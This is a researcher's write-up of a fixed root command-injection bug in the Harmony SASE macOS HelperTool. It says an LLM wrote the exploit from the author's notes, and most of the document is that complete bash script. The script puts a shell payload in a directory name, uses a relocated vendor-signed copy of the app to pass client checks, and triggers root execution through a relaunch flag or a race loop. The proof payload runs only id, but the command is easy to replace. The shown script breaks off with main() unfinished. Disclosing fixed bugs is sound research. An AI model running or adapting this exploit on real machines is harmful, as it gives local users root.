ai × macos

Harmony SASE: when a quote in the path was enough for root

July 2026 · Check Point Harmony SASE · macOS · HelperTool · LPE

Check Point Harmony SASE is a popular enterprise VPN / SASE client. On macOS it lands in /Applications like any other endpoint agent — and behind the UI sits a privileged HelperTool that installs and repairs a root daemon. That is the surface I care about.

I went looking the slow way: which helper talks to root, which methods still shell out, and what parts of those commands come from the connecting app. Confirmed on 12.9.0 build 11237 (Team ID 924635PD62).

Scope:
Fixed-bug write-up. Confirmed on Harmony SASE 12.9.0 / build 11237; command-injection path fixed in 12.9.1 / build 12074. Local user → root via the privileged HelperTool daemon-install path. PoC proof is /usr/bin/id only.

Manual reverse engineering

No model in the loop yet. I opened the installed HelperTool (/Library/PrivilegedHelperTools/com.perimeter81.osx.HelperTool) in Binary Ninja and looked for install paths that still shell out as root.

The XPC entry is -[DIDaemon installPerimeter81dDaemonWithAppBundlePath:completionHandler:] (0x100002444). That hands the connecting client’s app bundle URL into the install path. The interesting body is DIInstallScriptsExecutor.copyDaemonsub_100004f0c in Binary Ninja. HLIL makes the bug obvious:

// sub_100004f0c — DIInstallScriptsExecutor.copyDaemon
String.append(cmd, "cp -R '")
path = URL.path.getter(appBundleUrl)   // connecting client's bundle path
String.append(cmd, path)               // appended raw — no escaping
String.append(cmd, "/Contents/Library/LaunchServices/com.perimeter81d.app")
String.append(cmd, "' ")
String.append(cmd, "; cp ...")
// handed to a shell runner with launch path /bin/bash

So the finished command looks like:

cp -R '<appBundlePath>/Contents/Library/LaunchServices/com.perimeter81d.app' \
      /Library/PrivilegedHelperTools/

A nearby helper (sub_100005a84) logs that string as Copy daemon command: — which is also what you see later in /var/log/HarmonySASE/DaemonInstaller.log.

Client validation still accepts a relocated copy of the app as long as it keeps Check Point’s Team ID. Copy the vendor-signed app to a path that contains a ' and a short payload, trigger the daemon reinstall/update path, and the helper runs that payload as root.

Then I handed it to an LLM

Once the bug was clear — method, missing escape, Team ID gate, trigger — I stopped RE and passed the notes to a model to build the lab harness. I already had the finding. I wanted glue:

Authorized lab research on Harmony SASE for macOS.

I already reversed the root HelperTool. The install path
DIInstallScriptsExecutor.copyDaemon(appBundleUrl:) builds
/bin/bash -c and inserts the connecting app's bundle path
inside single quotes with no escaping. A relocated copy
signed by Team ID 924635PD62 still passes client checks.

Help me write a small bash PoC that:
- copies the vendor-signed app into a path with a quote
- triggers the daemon reinstall/update path
- proves root with /usr/bin/id only
- repairs the pristine app afterward

Stay on this surface. Don't invent other helpers or methods.

That was it. I found the bug. The model wrote the exploit.

Proof of concept

Lab script: harmony_sase_lpe_exploit.sh. Target: /Applications/Harmony SASE.app, version/build as above. Quit the pristine app if it is running — it self-heals the daemon and starves the trigger.

MODE=probe ./harmony_sase_lpe_exploit.sh
MODE=exploit ./harmony_sase_lpe_exploit.sh

Exploit mode sets shouldRelaunchDaemon=true — the vendor’s silent-update relaunch flag — then launches the relocated signed copy. That hits the HelperTool install path without waiting on the older launchd race. The payload’s trailing # also comments out the real daemon re-copy, so a win can leave com.perimeter81d deleted until the pristine app repairs it (and may drop an active VPN session for a moment). The script clears the flag afterward and opens the pristine app to reinstall the daemon.

Full PoC script (harmony_sase_lpe_exploit.sh)

Authorized lab use only. Confirmed on Harmony SASE 12.9.0 / build 11237; fixed in 12.9.1 / build 12074. Download: harmony_sase_lpe_exploit.sh.

#!/usr/bin/env bash
set -euo pipefail

# Harmony SASE HelperTool root command-injection LPE PoC, build 12.9.0 / 11237.
#
# Confirmed primitive (verified in binary + runtime logs):
#   The root daemon-install path DIInstallScriptsExecutor.copyDaemon(appBundleUrl:)
#   builds, and runs via `/bin/bash -c`, the command:
#       cp -R '<appBundlePath>/Contents/Library/LaunchServices/com.perimeter81d.app' \
#             /Library/PrivilegedHelperTools/; cp <plist> /Library/LaunchDaemons/...
#   <appBundlePath> is the *connecting client's* NSBundle.mainBundle.bundlePath and
#   is inserted inside single quotes with NO escaping. A ditto'd, still-vendor-signed
#   copy of the app satisfies the helper's SMAuthorizedClients requirement, so a copy
#   living at a path that contains a single quote injects shell as root.
#
# Reachability (this is the part that made the bug look "only works in a debugger"):
#   The injected path reaches copyDaemon through the daemon install/update path.
#   The original trigger used the repair branch, `Install daemon with migration.`,
#   which is taken when the launchd job-dictionary read for com.perimeter81d
#   returns nil. That read is racy: the same healthy daemon intermittently returns
#   nil (observed repeatedly in HarmonySASE.log).
#
#   A more reliable trigger is the vendor's silent-update relaunch flag:
#   NSUserDefaults key `shouldRelaunchDaemon`. When set, a healthy daemon still logs
#   `Reinstall daemon without migration after silent update.` and calls the same
#   helper copy path with the connecting app's bundle path. This PoC uses that
#   trigger by default and restores the previous default afterward.
#
#   Two properties make a loop reliable:
#     1) Each relocated-app launch is one independent chance to hit the nil window.
#     2) The migration path first `rm -r`s the daemon, then re-copies it. Our payload's
#        trailing `#` comments out the real copy, so the FIRST win deletes the daemon
#        and fails to reinstall it -> every later launch reads nil deterministically
#        -> migration fires every time (self-perpetuating) until the pristine
#        /Applications app repairs it.
#
# Safety model:
#   - MODE=probe: static/target validation + prepare signed copy only. No trigger.
#   - MODE=exploit: fixed proof payload `/usr/bin/id > $PROOF_PATH` only. No arbitrary
#     command, no shell, no persistence beyond normal install side effects + proof file.
#   - REPAIR_AFTER=1 (default) relaunches the pristine app afterward to reinstall the
#     daemon it may have left deleted.
#
# Usage:
#   bash -n harmony_sase_lpe_exploit.sh
#   MODE=probe ./harmony_sase_lpe_exploit.sh
#   MODE=exploit ./harmony_sase_lpe_exploit.sh                 # deterministic flag trigger
#   MODE=exploit TRIGGER_MODE=race MAX_ATTEMPTS=200 ./harmony_sase_lpe_exploit.sh
#   DEBUG=1 MODE=exploit ./harmony_sase_lpe_exploit.sh
#   # For strict bundle verification, add REQUIRE_VALID_SIGNATURE=1. The default
#   # preserves compatibility with vendor bundles whose sealed resources are
#   # reported as modified even though the helper accepts their signing identity.
#
# Expected proof:
#   ${WORK_BASE}/proof/id.txt contains `uid=0(root)`.
#
# Cleanup:
#   rm -rf "${WORK_BASE}" "${PROOF_DIR}"
#   # then open /Applications/Harmony SASE.app once to fully repair the daemon.

RUN_ID="${RUN_ID:-$(/bin/date +%Y%m%d_%H%M%S)_$$}"
TMP_ROOT="${TMPDIR:-/tmp}"
TMP_ROOT="${TMP_ROOT%/}"

TARGET_APP="${TARGET_APP:-/Applications/Harmony SASE.app}"
HELPER="${HELPER:-/Library/PrivilegedHelperTools/com.perimeter81.osx.HelperTool}"
DAEMON_LABEL="${DAEMON_LABEL:-com.perimeter81d}"
EXPECTED_BUNDLE_ID="${EXPECTED_BUNDLE_ID:-com.safervpn.osx.smb}"
EXPECTED_TEAM_ID="${EXPECTED_TEAM_ID:-924635PD62}"
EXPECTED_VERSION="${EXPECTED_VERSION:-12.9.0}"
EXPECTED_BUILD="${EXPECTED_BUILD:-11237}"
USER_DEFAULTS_DOMAIN="${USER_DEFAULTS_DOMAIN:-$EXPECTED_BUNDLE_ID}"
RELAUNCH_DEFAULTS_KEY="${RELAUNCH_DEFAULTS_KEY:-shouldRelaunchDaemon}"
STRICT_VERSION="${STRICT_VERSION:-1}"
REQUIRE_VALID_SIGNATURE="${REQUIRE_VALID_SIGNATURE:-0}"
MODE="${MODE:-probe}" # probe | exploit
TRIGGER_MODE="${TRIGGER_MODE:-relaunch_flag}" # relaunch_flag | race
WORK_BASE="${WORK_BASE:-${TMP_ROOT}/harmony_sase_helpertool_lpe}"
PROOF_DIR="${PROOF_DIR:-${WORK_BASE}/proof}"
PROOF_PATH="${PROOF_PATH:-${PROOF_DIR}/id.txt}"
REBUILD_COPY="${REBUILD_COPY:-1}"

# Race-loop tuning.
MAX_ATTEMPTS="${MAX_ATTEMPTS:-80}"   # launches before giving up (each is one race chance)
ROUND_WAIT="${ROUND_WAIT:-6}"        # maximum seconds to wait for one startup result
POLL_INTERVAL="${POLL_INTERVAL:-0.25}" # log/proof polling interval
POST_BRANCH_WAIT="${POST_BRANCH_WAIT:-4}" # wait for helper/proof after migration branch
REPAIR_WAIT="${REPAIR_WAIT:-20}"       # seconds to wait for launchd repair
REPAIR_AFTER="${REPAIR_AFTER:-1}"    # relaunch pristine app afterward to reinstall daemon
STOP_RUNNING_APP="${STOP_RUNNING_APP:-1}"
DEBUG="${DEBUG:-${VERBOSE:-0}}"
EXPLOIT_ACTIVE=0
REPAIR_DONE=0
DEFAULTS_TOUCHED=0
DEFAULTS_KEY_EXISTED=0
DEFAULTS_OLD_VALUE=""

DAEMON_LOG="${DAEMON_LOG:-/var/log/HarmonySASE/DaemonInstaller.log}"
GUI_LOG="${GUI_LOG:-$HOME/Library/Logs/HarmonySASE.log}"

say() { printf '%s\n' "$*" >&2; }
log() { say "[*] $*"; }
ok() { say "[+] $*"; }
warn() { say "[!] $*"; }
debug() {
  [[ "$DEBUG" == "1" ]] || return 0
  say "[D] $*"
}
die() { say "[x] $*"; say "bye bye!"; exit 1; }

is_positive_number() {
  [[ "$1" =~ ^[0-9]+([.][0-9]+)?$ ]] && /usr/bin/awk -v n="$1" 'BEGIN { exit !(n > 0) }'
}

is_positive_integer() {
  [[ "$1" =~ ^[1-9][0-9]*$ ]]
}

verify_signature() {
  local path="$1" output
  output="$(/usr/bin/codesign --verify --strict --verbose=4 "$path" 2>&1)" && return 0
  warn "Code-signature verification failed for: $path"
  [[ -n "$output" ]] && warn "$output"
  return 1
}

plist_value() {
  /usr/libexec/PlistBuddy -c "Print :$1" "$TARGET_APP/Contents/Info.plist" 2>/dev/null || true
}

team_id() {
  /usr/bin/codesign -d --verbose=4 "$TARGET_APP" 2>&1 |
    /usr/bin/awk -F= '/^TeamIdentifier=/{print $2; exit}'
}

helper_contains() { /usr/bin/grep -aFq "$1" "$HELPER"; }

installed_app_processes() {
  /usr/bin/pgrep -fl "$TARGET_APP/Contents/MacOS/Harmony SASE" 2>/dev/null || true
}

relocated_app_processes() {
  # match our copy's executable path (kept out of the pristine /Applications path)
  /usr/bin/pgrep -fl "$WORK_BASE" 2>/dev/null || true
}

request_pristine_exit() {
  "$TARGET_APP/Contents/MacOS/Harmony SASE" exit >/dev/null 2>&1 &
  local exit_pid=$!
  disown "$exit_pid" 2>/dev/null || true
}

ensure_installed_app_not_running() {
  local running i
  running="$(installed_app_processes)"
  [[ -z "$running" ]] && return 0

  warn "Pristine Harmony SASE is running; it self-heals the daemon and starves the race."
  if [[ "$STOP_RUNNING_APP" != "1" ]]; then
    die "Quit Harmony SASE, or set STOP_RUNNING_APP=1 to ask it to exit."
  fi
  log "Asking pristine Harmony SASE to exit."
  request_pristine_exit
  for ((i = 0; i < 15; i++)); do
    [[ -z "$(installed_app_processes)" ]] && return 0
    /bin/sleep 1
  done
  die "Pristine Harmony SASE still running; quit it manually before exploit mode."
}

kill_relocated() {
  /usr/bin/pkill -TERM -f "$WORK_BASE" >/dev/null 2>&1 || true
  local i
  for ((i = 0; i < 20; i++)); do
    [[ -z "$(relocated_app_processes)" ]] && return 0
    /bin/sleep 0.1
  done
  # A stuck GUI process can otherwise make the next attempt attach to the
  # previous single-instance process (LSMultipleInstancesProhibited=true).
  /usr/bin/pkill -KILL -f "$WORK_BASE" >/dev/null 2>&1 || true
}

log_count() {
  # log_count <file> <fixed-phrase> -> integer occurrences (0 if none/unreadable).
  # grep -c prints "0" AND exits 1 on zero matches, so capture then sanitize.
  local n
  n="$(/usr/bin/grep -acF "$2" "$1" 2>/dev/null)" || true
  n="${n%%$'\n'*}"
  case "$n" in
    ''|*[!0-9]*) n=0 ;;
  esac
  printf '%s' "$n"
}

debug_recent_logs() {
  [[ "$DEBUG" == "1" ]] || return 0

  say "[*] Debug log excerpt:"
  if [[ -r "$GUI_LOG" ]]; then
    log "Recent GUI installer decisions:"
    /usr/bin/grep -aE \
      'daemonVersionInstalled|Failed to retrieve job dictionary|Install daemon with migration|Reinstall daemon without migration|Should relaunch daemon|Daemon is up to date' \
      "$GUI_LOG" 2>/dev/null | /usr/bin/tail -n 16 >&2 || true
  else
    warn "GUI log is not readable: $GUI_LOG"
  fi

  if [[ -r "$DAEMON_LOG" ]]; then
    log "Recent HelperTool installer decisions:"
    /usr/bin/grep -aE \
      'installPerimeter81dDaemon|copyDaemon started|Copy daemon command|has not been validated|App bundle Code Signature VERIFIED' \
      "$DAEMON_LOG" 2>/dev/null | /usr/bin/tail -n 16 >&2 || true
  else
    warn "HelperTool log is not readable: $DAEMON_LOG"
  fi
}

validate_environment() {
  [[ "$(id -u)" != "0" ]] || die "Run as a normal low-privileged user, not root."
  [[ -d "$TARGET_APP" ]] || die "Harmony SASE app not found at $TARGET_APP"
  [[ -x "$TARGET_APP/Contents/MacOS/Harmony SASE" ]] || die "Harmony SASE executable missing."
  [[ -x "$HELPER" ]] || die "HelperTool not found or not executable at $HELPER"

  case "$PROOF_PATH" in
    /tmp/*|/private/tmp/*|"${TMP_ROOT}"/*) ;;
    *) die "For safety, PROOF_PATH must be under /tmp or TMPDIR." ;;
  esac
  case "$PROOF_PATH" in
    *[!A-Za-z0-9_./-]*) die "PROOF_PATH contains unsafe characters." ;;
    *..*) die "PROOF_PATH must not contain '..'." ;;
  esac

  case "$WORK_BASE" in
    /tmp/*|/private/tmp/*|"${TMP_ROOT}"/*) ;;
    *) die "For safety, WORK_BASE must be under /tmp or TMPDIR." ;;
  esac
  [[ "$WORK_BASE" != *..* ]] || die "WORK_BASE must not contain '..'."
  case "$WORK_BASE" in
    *[!A-Za-z0-9_./-]*) die "WORK_BASE contains unsafe characters." ;;
  esac
  is_positive_integer "$MAX_ATTEMPTS" || die "MAX_ATTEMPTS must be a positive integer."
  is_positive_number "$ROUND_WAIT" || die "ROUND_WAIT must be a positive number."
  is_positive_number "$POLL_INTERVAL" || die "POLL_INTERVAL must be a positive number."
  is_positive_number "$POST_BRANCH_WAIT" || die "POST_BRANCH_WAIT must be a positive number."
  is_positive_integer "$REPAIR_WAIT" || die "REPAIR_WAIT must be a positive integer."
  [[ "$REBUILD_COPY" == "0" || "$REBUILD_COPY" == "1" ]] ||
    die "REBUILD_COPY must be 0 or 1."
  [[ "$REPAIR_AFTER" == "0" || "$REPAIR_AFTER" == "1" ]] ||
    die "REPAIR_AFTER must be 0 or 1."
  [[ "$STOP_RUNNING_APP" == "0" || "$STOP_RUNNING_APP" == "1" ]] ||
    die "STOP_RUNNING_APP must be 0 or 1."
  [[ "$DEBUG" == "0" || "$DEBUG" == "1" ]] ||
    die "DEBUG must be 0 or 1."
  [[ "$REQUIRE_VALID_SIGNATURE" == "0" || "$REQUIRE_VALID_SIGNATURE" == "1" ]] ||
    die "REQUIRE_VALID_SIGNATURE must be 0 or 1."
  [[ "$MODE" == "probe" || "$MODE" == "exploit" ]] ||
    die "MODE must be probe or exploit."
  [[ "$TRIGGER_MODE" == "relaunch_flag" || "$TRIGGER_MODE" == "race" ]] ||
    die "TRIGGER_MODE must be relaunch_flag or race."

  local bundle_id version build team
  bundle_id="$(plist_value CFBundleIdentifier)"
  version="$(plist_value CFBundleShortVersionString)"
  build="$(plist_value CFBundleVersion)"
  team="$(team_id)"

  say "    Bundle:  ${bundle_id:-unknown}"
  say "    Version: ${version:-unknown}"
  say "    Build:   ${build:-unknown}"
  say "    Team:    ${team:-unknown}"

  [[ "$bundle_id" == "$EXPECTED_BUNDLE_ID" ]] || die "Unexpected bundle identifier."
  [[ "$team" == "$EXPECTED_TEAM_ID" ]] || die "Unexpected TeamIdentifier."
  if [[ "$STRICT_VERSION" == "1" ]]; then
    [[ "$version" == "$EXPECTED_VERSION" ]] || die "Version mismatch; set STRICT_VERSION=0 to override."
    [[ "$build" == "$EXPECTED_BUILD" ]] || die "Build mismatch; set STRICT_VERSION=0 to override."
  fi

  if ! verify_signature "$TARGET_APP"; then
    [[ "$REQUIRE_VALID_SIGNATURE" == "1" ]] ||
      warn "Continuing because REQUIRE_VALID_SIGNATURE=0; the HelperTool may reject this client."
    [[ "$REQUIRE_VALID_SIGNATURE" != "1" ]] ||
      die "Restore/reinstall the pristine vendor app, then rerun."
  fi

  helper_contains "Copy daemon command:" || die "HelperTool missing copyDaemon logging string."
  helper_contains "/bin/bash" || die "HelperTool missing shell executor string."
  helper_contains "installPerimeter81dDaemonWithAppBundlePath:completionHandler:" ||
    die "HelperTool missing expected installer XPC method."
}

prepare_signed_copy() {
  local payload_parent copied_app
  /bin/mkdir -p "$WORK_BASE"
  # Directory name IS the payload. Single quote closes copyDaemon's `cp -R '<path>`;
  # the trailing `#` comments out the rest of the root command (incl. the real copy).
  payload_parent="${WORK_BASE}/poc'; /usr/bin/id > ${PROOF_PATH}; /bin/chmod 0644 ${PROOF_PATH}; #"
  copied_app="${payload_parent}/Harmony SASE.app"

  if [[ "$REBUILD_COPY" == "1" && -e "$payload_parent" ]]; then
    log "Removing previous payload directory to avoid stale/partial copies."
    /bin/rm -rf "$payload_parent"
  fi
  /bin/mkdir -p "$payload_parent"

  if [[ ! -d "$copied_app" ]]; then
    log "Copying signed app into injection path."
    /usr/bin/ditto "$TARGET_APP" "$copied_app"
  else
    log "Reusing existing copied app at injection path."
  fi

  log "Checking relocated app signature."
  if verify_signature "$copied_app"; then
    log "Relocated app signature verification passed (SMAuthorizedClients will accept it)."
  elif [[ "$REQUIRE_VALID_SIGNATURE" == "1" ]]; then
    die "Relocated app signature verification failed; restore/reinstall the pristine app."
  else
    warn "Relocated app signature verification failed; continuing (REQUIRE_VALID_SIGNATURE=0)."
  fi
  [[ -x "$copied_app/Contents/MacOS/Harmony SASE" ]] ||
    die "Relocated app executable is missing; discard WORK_BASE and retry."
  [[ -d "$copied_app/Contents/Library/LaunchServices/com.perimeter81d.app" ]] ||
    die "Relocated daemon bundle is missing; discard WORK_BASE and retry."
  printf '%s\n' "$copied_app"
}

prepare_proof_path() {
  local proof_parent
  proof_parent="$(/usr/bin/dirname "$PROOF_PATH")"
  /bin/mkdir -p "$proof_parent" || die "Could not create proof directory: $proof_parent"
  /bin/chmod 700 "$proof_parent" 2>/dev/null || true

  if [[ -e "$PROOF_PATH" || -L "$PROOF_PATH" ]]; then
    if /bin/rm -f "$PROOF_PATH" 2>/dev/null; then
      debug "Removed stale proof path: $PROOF_PATH"
    else
      die "Could not remove existing proof path. Choose a new PROOF_PATH or remove it as root: $PROOF_PATH"
    fi
  fi
}

proof_ok() { [[ -s "$PROOF_PATH" ]] && /usr/bin/grep -q "uid=0(root)" "$PROOF_PATH"; }

save_relaunch_default() {
  [[ "$DEFAULTS_TOUCHED" == "0" ]] || return 0
  if DEFAULTS_OLD_VALUE="$(/usr/bin/defaults read "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" 2>/dev/null)"; then
    DEFAULTS_KEY_EXISTED=1
  else
    DEFAULTS_KEY_EXISTED=0
    DEFAULTS_OLD_VALUE=""
  fi
}

enable_relaunch_trigger() {
  save_relaunch_default
  debug "Saved defaults state: existed=${DEFAULTS_KEY_EXISTED}, old_value=${DEFAULTS_OLD_VALUE:-<unset>}"
  /usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" -bool true
  DEFAULTS_TOUCHED=1
  log "Enabled ${USER_DEFAULTS_DOMAIN}:${RELAUNCH_DEFAULTS_KEY}=true for this run."
}

restore_relaunch_trigger() {
  [[ "$DEFAULTS_TOUCHED" == "1" ]] || return 0
  if [[ "$DEFAULTS_KEY_EXISTED" == "1" ]]; then
    case "$DEFAULTS_OLD_VALUE" in
      1|true|TRUE|True|YES|Yes|yes)
        /usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" -bool true
        ;;
      0|false|FALSE|False|NO|No|no)
        /usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" -bool false
        ;;
      *)
        /usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" "$DEFAULTS_OLD_VALUE"
        ;;
    esac
    log "Restored ${USER_DEFAULTS_DOMAIN}:${RELAUNCH_DEFAULTS_KEY}."
  else
    /usr/bin/defaults delete "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" >/dev/null 2>&1 || true
    log "Removed temporary ${USER_DEFAULTS_DOMAIN}:${RELAUNCH_DEFAULTS_KEY} flag."
  fi
  DEFAULTS_TOUCHED=0
}

run_relaunch_flag_trigger() {
  local bin="$1"
  local elapsed validation_before validation_now copies_before copies_now relaunch_before relaunch_now
  local flag_true_before flag_true_now flag_false_before flag_false_now
  local total_wait

  validation_before="$(log_count "$DAEMON_LOG" 'has not been validated')"
  copies_before="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')"
  relaunch_before="$(log_count "$GUI_LOG" 'Reinstall daemon without migration after silent update')"
  flag_true_before="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is true')"
  flag_false_before="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is false')"

  enable_relaunch_trigger
  kill_relocated
  log "Starting relocated app with silent-update relaunch trigger."
  "$bin" >/dev/null 2>&1 &
  disown 2>/dev/null || true

  total_wait="$(/usr/bin/awk -v a="$ROUND_WAIT" -v b="$POST_BRANCH_WAIT" 'BEGIN { printf "%.3f", a + b }')"
  elapsed=0
  while /usr/bin/awk -v e="$elapsed" -v t="$total_wait" 'BEGIN { exit !(e < t) }'; do
    if proof_ok; then
      kill_relocated
      log "Injection landed through silent-update relaunch trigger."
      return 0
    fi

    validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')"
    if ((validation_now > validation_before)); then
      kill_relocated
      warn "HelperTool rejected the relocated client (code-signature/XPC validation)."
      warn "Use a pristine vendor-signed app; inspect $DAEMON_LOG for the rejection."
      debug_recent_logs
      return 3
    fi

    relaunch_now="$(log_count "$GUI_LOG" 'Reinstall daemon without migration after silent update')"
    copies_now="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')"
    if ((relaunch_now > relaunch_before || copies_now > copies_before)); then
      /bin/sleep "$POST_BRANCH_WAIT"
      if proof_ok; then
        kill_relocated
        log "Injection landed through silent-update relaunch trigger."
        return 0
      fi
      break
    fi

    /bin/sleep "$POLL_INTERVAL"
    elapsed="$(/usr/bin/awk -v e="$elapsed" -v p="$POLL_INTERVAL" 'BEGIN { printf "%.3f", e + p }')"
  done

  kill_relocated
  flag_true_now="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is true')"
  flag_false_now="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is false')"
  relaunch_now="$(log_count "$GUI_LOG" 'Reinstall daemon without migration after silent update')"
  copies_now="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')"

  warn "No proof through silent-update relaunch trigger."
  warn "  relaunch-flag true logs during run: $((flag_true_now - flag_true_before))"
  warn "  relaunch-flag false logs during run: $((flag_false_now - flag_false_before))"
  warn "  reinstall-without-migration hits during run: $((relaunch_now - relaunch_before))"
  warn "  copyDaemon invocations during run: $((copies_now - copies_before))"
  if ((flag_false_now > flag_false_before && flag_true_now == flag_true_before)); then
    warn "The app read the flag as false; cfprefsd may have cached the old value. Retry once."
  fi
  debug_recent_logs
  return 1
}

run_race_loop() {
  local bin="$1"
  local attempt migrations_before migrations_now copies_before copies_now healthy_before healthy_now
  local validation_before validation_now elapsed branch
  local run_migrations_before run_copies_before run_validation_before
  run_migrations_before="$(log_count "$GUI_LOG" 'Install daemon with migration')"
  run_copies_before="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')"
  run_validation_before="$(log_count "$DAEMON_LOG" 'has not been validated')"

  log "Starting race loop: up to ${MAX_ATTEMPTS} launches, ${ROUND_WAIT}s startup timeout each."
  log "Healthy launches are stopped as soon as the log confirms the up-to-date branch."

  for ((attempt = 1; attempt <= MAX_ATTEMPTS; attempt++)); do
    kill_relocated
    migrations_before="$(log_count "$GUI_LOG" 'Install daemon with migration')"
    healthy_before="$(log_count "$GUI_LOG" 'Daemon is up to date. Proceed.')"
    validation_before="$(log_count "$DAEMON_LOG" 'has not been validated')"
    "$bin" >/dev/null 2>&1 &
    disown 2>/dev/null || true   # drop from job table so kills stay quiet

    branch="unknown"
    elapsed=0
    while is_positive_number "$ROUND_WAIT" && /usr/bin/awk -v e="$elapsed" -v t="$ROUND_WAIT" 'BEGIN { exit !(e < t) }'; do
      if proof_ok; then
        kill_relocated
        log "Injection landed on attempt ${attempt}."
        return 0
      fi
      migrations_now="$(log_count "$GUI_LOG" 'Install daemon with migration')"
      healthy_now="$(log_count "$GUI_LOG" 'Daemon is up to date. Proceed.')"
      validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')"
      if ((validation_now > validation_before)); then
        kill_relocated
        warn "HelperTool rejected the relocated client (code-signature/XPC validation)."
        warn "Use a pristine vendor-signed app; inspect $DAEMON_LOG for the rejection."
        debug_recent_logs
        return 3
      fi
      if ((migrations_now > migrations_before)); then
        branch="migration"
        break
      fi
      if ((healthy_now > healthy_before)); then
        branch="healthy"
        break
      fi
      /bin/sleep "$POLL_INTERVAL"
      elapsed="$(/usr/bin/awk -v e="$elapsed" -v p="$POLL_INTERVAL" 'BEGIN { printf "%.3f", e + p }')"
    done

    if [[ "$branch" == "migration" ]]; then
      log "Attempt ${attempt}: migration branch observed; waiting up to ${POST_BRANCH_WAIT}s for helper/proof."
      elapsed=0
      while /usr/bin/awk -v e="$elapsed" -v t="$POST_BRANCH_WAIT" 'BEGIN { exit !(e < t) }'; do
        proof_ok && { kill_relocated; log "Injection landed on attempt ${attempt}."; return 0; }
        validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')"
        ((validation_now > validation_before)) && {
          kill_relocated
          warn "HelperTool rejected the relocated client (code-signature/XPC validation)."
          debug_recent_logs
          return 3
        }
        /bin/sleep "$POLL_INTERVAL"
        elapsed="$(/usr/bin/awk -v e="$elapsed" -v p="$POLL_INTERVAL" 'BEGIN { printf "%.3f", e + p }')"
      done
    fi

    kill_relocated

    if ((attempt % 10 == 0)); then
      migrations_now="$(log_count "$GUI_LOG" 'Install daemon with migration')"
      log "  attempt ${attempt}/${MAX_ATTEMPTS} — migration-branch hits so far: $((migrations_now - run_migrations_before))"
    fi
  done

  migrations_now="$(log_count "$GUI_LOG" 'Install daemon with migration')"
  copies_now="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')"
  warn "No proof after ${MAX_ATTEMPTS} attempts."
  warn "  migration-branch hits during run: $((migrations_now - run_migrations_before))"
  warn "  copyDaemon invocations during run: $((copies_now - run_copies_before))"
  validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')"
  if ((validation_now > run_validation_before)); then
    warn "HelperTool rejected one or more relocated clients; restore the pristine app signature."
  fi
  if ((migrations_now == run_migrations_before)); then
    warn "Never hit the migration branch — the launchd read stayed healthy the whole run."
    warn "Increase MAX_ATTEMPTS, or run on a machine where com.perimeter81d is already stale."
  fi
  debug_recent_logs
  return 1
}

repair_daemon() {
  [[ "$REPAIR_AFTER" == "1" ]] || return 0
  [[ "$REPAIR_DONE" == "1" ]] && return 0
  REPAIR_DONE=1
  log "Repairing: launching pristine app to reinstall com.perimeter81d from a clean path."
  /usr/bin/open -g "$TARGET_APP" >/dev/null 2>&1 || true
  local i
  for ((i = 0; i < REPAIR_WAIT; i++)); do
    if /bin/launchctl print "system/${DAEMON_LABEL}" >/dev/null 2>&1; then
      break
    fi
    /bin/sleep 1
  done
  request_pristine_exit
}

cleanup_on_exit() {
  kill_relocated
  restore_relaunch_trigger
  if [[ "$EXPLOIT_ACTIVE" == "1" && "$REPAIR_AFTER" == "1" && "$REPAIR_DONE" != "1" ]]; then
    repair_daemon
  fi
}

main() {
  [[ "$#" -eq 0 ]] || die "This PoC takes no positional arguments. Use environment variables for configuration."

  local total_steps copied_app bin rc
  total_steps=5
  [[ "$MODE" == "probe" ]] && total_steps=2

  say "[*] Harmony SASE HelperTool command-injection LPE PoC"
  say "[*] Workdir: $WORK_BASE"
  say "[*] Proof:   $PROOF_PATH"
  debug "Mode: $MODE"
  debug "Trigger mode: $TRIGGER_MODE"
  debug "GUI log: $GUI_LOG"
  debug "Helper log: $DAEMON_LOG"
  debug "Run id: $RUN_ID"

  say "[*](1/${total_steps}) Checking Harmony SASE target ..."
  validate_environment

  say "[*](2/${total_steps}) Preparing relocated vendor-signed app copy ..."
  copied_app="$(prepare_signed_copy)"
  bin="${copied_app}/Contents/MacOS/Harmony SASE"
  say "    Relocated app: $copied_app"

  if [[ "$MODE" == "probe" ]]; then
    ok "Probe complete. No privileged trigger executed."
    say "    To attempt the proof in a disposable lab: MODE=exploit $0"
    exit 0
  fi
  [[ "$MODE" == "exploit" ]] || die "Unknown MODE: $MODE"

  say "[*](3/5) Preparing proof path ..."
  prepare_proof_path
  say "    Proof file: $PROOF_PATH"

  ensure_installed_app_not_running
  trap cleanup_on_exit EXIT
  trap 'exit 130' INT TERM
  EXPLOIT_ACTIVE=1

  rc=0
  say "[*](4/5) Triggering HelperTool installer path ..."
  if [[ "$TRIGGER_MODE" == "relaunch_flag" ]]; then
    run_relaunch_flag_trigger "$bin" || rc=$?
  else
    run_race_loop "$bin" || rc=$?
  fi

  say "[*](5/5) Verifying root proof ..."
  if proof_ok; then
    ok "CONFIRMED: HelperTool executed the fixed proof command as root."
    say "    Proof file: $PROOF_PATH"
    /bin/cat "$PROOF_PATH"
    say "[*] Restoring app defaults and repairing daemon ..."
    restore_relaunch_trigger
    repair_daemon
    exit 0
  fi

  say "[*] Restoring app defaults and repairing daemon ..."
  restore_relaunch_trigger
  repair_daemon
  say "[x] No root proof observed."
  say "    Helper log: $DAEMON_LOG"
  say "    GUI log:    $GUI_LOG"
  say "bye bye!"
